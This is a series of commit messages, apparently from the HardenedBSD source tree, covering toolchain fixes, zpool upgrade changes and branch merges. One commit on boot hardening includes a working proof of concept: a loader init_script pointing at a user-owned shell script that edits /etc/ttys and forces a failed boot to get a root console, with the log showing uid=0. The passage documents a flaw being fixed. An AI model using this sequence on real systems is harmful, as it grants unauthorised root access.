HBSD: add credits file

Signed-off-by: Oliver Pinter <oliver.pinter@hardenedbsd.org>
Let's see if we can fix the NOINET if_gif(4) module build after r276215
going by example.
Enhancements to zpool upgrade processing

Introduce a seperate phase to list all unavailable pools when listing
pools to upgrade. This avoids confusing output when displaying older
and disabled feature pools. These existing phases now silently skip
unavailable pools.

Introduce cb_unavail to upgrade_cbdata_t which enables the final
output for zpool list to correctly detail if all pools or only all
available pools where up-to-date on version / features.

Correct the type of upgrade_cbdata_t.cb_first from int -> boolean_t.

Change the pool iteration when upgrading named pools to include
unavailable pools and update upgrade_one so it doesn't try to upgrade
unavailable pools but warns about them. This allows the correct error
to be displayed as well as upgrades with available and unavailable
pools intermixed to partially complete.

Also correct some missing trailing \n's from output in upgrade_one.

MFC after:	1 month
X-MFC-With:	r276194
Mention cc_cdg.
HBSD: rework and extend init/boot hardening

 |
   ______               ____   _____ _____
  |  ____|             |  _ \ / ____|  __ \
  | |___ _ __ ___  ___ | |_) | (___ | |  | |
  |  ___| '__/ _ \/ _ \|  _ < \___ \| |  | |
  | |   | | |  __/  __/| |_) |____) | |__| |
  | |   | | |    |    ||     |      |      |
  |_|   |_|  \___|\___||____/|_____/|_____/    ```                        `
                                              s` `.....---.......--.```   -/
  +------------Welcome to FreeBSD-----------+ +o   .--`         /y:`      +.
  |                                         |  yo`:.            :o      `+-
  |  1. Boot Multi User [Enter]             |   y/               -/`   -o/
  |  2. Boot [S]ingle User                  |  .-                  ::/sy+:.
  |  3. [Esc]ape to loader prompt           |  /                     `--  /
  |  4. Reboot                              | `:                          :`
  |                                         | `:                          :`
  |  Options:                               |  /                          /
  |  5. [K]ernel: kernel (1 of 2)           |  .-                        -.
  |  6. Configure Boot [O]ptions...         |   --                      -.
  |                                         |    `:`                  `:`
  |                                         |      .--             `--.
  |                                         |         .---.....----.
  +-----------------------------------------+

  -
 To get back to the menu, type `menu' and press ENTER
 or type `boot' and press ENTER to start FreeBSD.

 Type '?' for a list of commands, 'help' for more detailed help.
 OK set init_script="/usr/home/op/exploit.sh"
 OK boot
 /boot/kernel/kernel text=0x1010a40 data=0x12ca20+0x3d4b70
 syms=[0x8+0x147918+0x8+0x163171]
 Booting...
 GDB: no debug ports present
 KDB: debugger backends: ddb
 KDB: current backend: ddb
 Copyright (c) 1992-2014 The FreeBSD Project.

[...]

 Root mount waiting for: usbus2
 uhub4: 7 ports with 7 removable, self powered
 Trying to mount root from ufs:/dev/da0p2 [rw]...

[...]

 /usr/home/op/exploit.sh: /fail: not found
 Enter full pathname of shell or RETURN for /bin/sh:
 # id
 uid=0(root) gid=0(wheel) groups=0(wheel)
 #

PoC:

 op@opn ~> pwd
 /usr/home/op
 op@opn ~> ll exploit.sh
 -rw-r--r--  1 op  op  225 Dec 26 01:53 exploit.sh
 op@opn ~> cat exploit.sh
 #!/bin/sh

 /sbin/mount -u -w /
 /usr/bin/touch /exploited
 /usr/bin/sed -i '' -e  '/^console/s/\(.*\)insecure\(.*\)/\1secure\2/g' /etc/ttys
 /sbin/mount -u -r /
 # force fail in boot process to get root terminal on console
 /fail
 op@opn ~>

github-issue: #28
Signed-off-by: Oliver Pinter <oliver.pinter@hardenedbsd.org>
HBSD: fix typo ENABLED -> DISABLED

Signed-off-by: Oliver Pinter <oliver.pinter@hardenedbsd.org>
gas: use memmove instead of bogus memcpy.

partial_where points into the buffer that begins with buffer_start
so we need to use memmove() to handle the overlap.
Sourceware-PR 11456.

Obtained from:	OpenBSD (CVS rev. 1.2)
MFC after:	3 days
Backport fix for binutils 11867: .quad directive not assembled correctly

Alan Modra (and Alan's employer) graciously permitted use of his patch
under GPLv2.

Obtained from:	OpenBSD
MFC after:	5 days
Merge remote-tracking branch 'freebsd/master' into hardened/current/master
Merge remote-tracking branch 'origin/hardened/current/master' into hardened/current/segvguard
Merge remote-tracking branch 'origin/hardened/current/master' into hardened/current/log
Merge remote-tracking branch 'origin/hardened/current/master' into hardened/current/userlandenhanced
Merge remote-tracking branch 'origin/hardened/current/master' into hardened/current/libressl
Merge remote-tracking branch 'origin/hardened/current/master' into hardened/current/unstable
Merge remote-tracking branch 'origin/hardened/current/segvguard' into hardened/current/unstable
Merge remote-tracking branch 'origin/hardened/current/log' into hardened/current/unstable
Merge remote-tracking branch 'origin/hardened/current/userlandenhanced' into hardened/current/unstable
Merge remote-tracking branch 'origin/hardened/current/unstable' into hardened/current/unstable-with-libressl
Merge remote-tracking branch 'origin/hardened/current/libressl' into hardened/current/unstable-with-libressl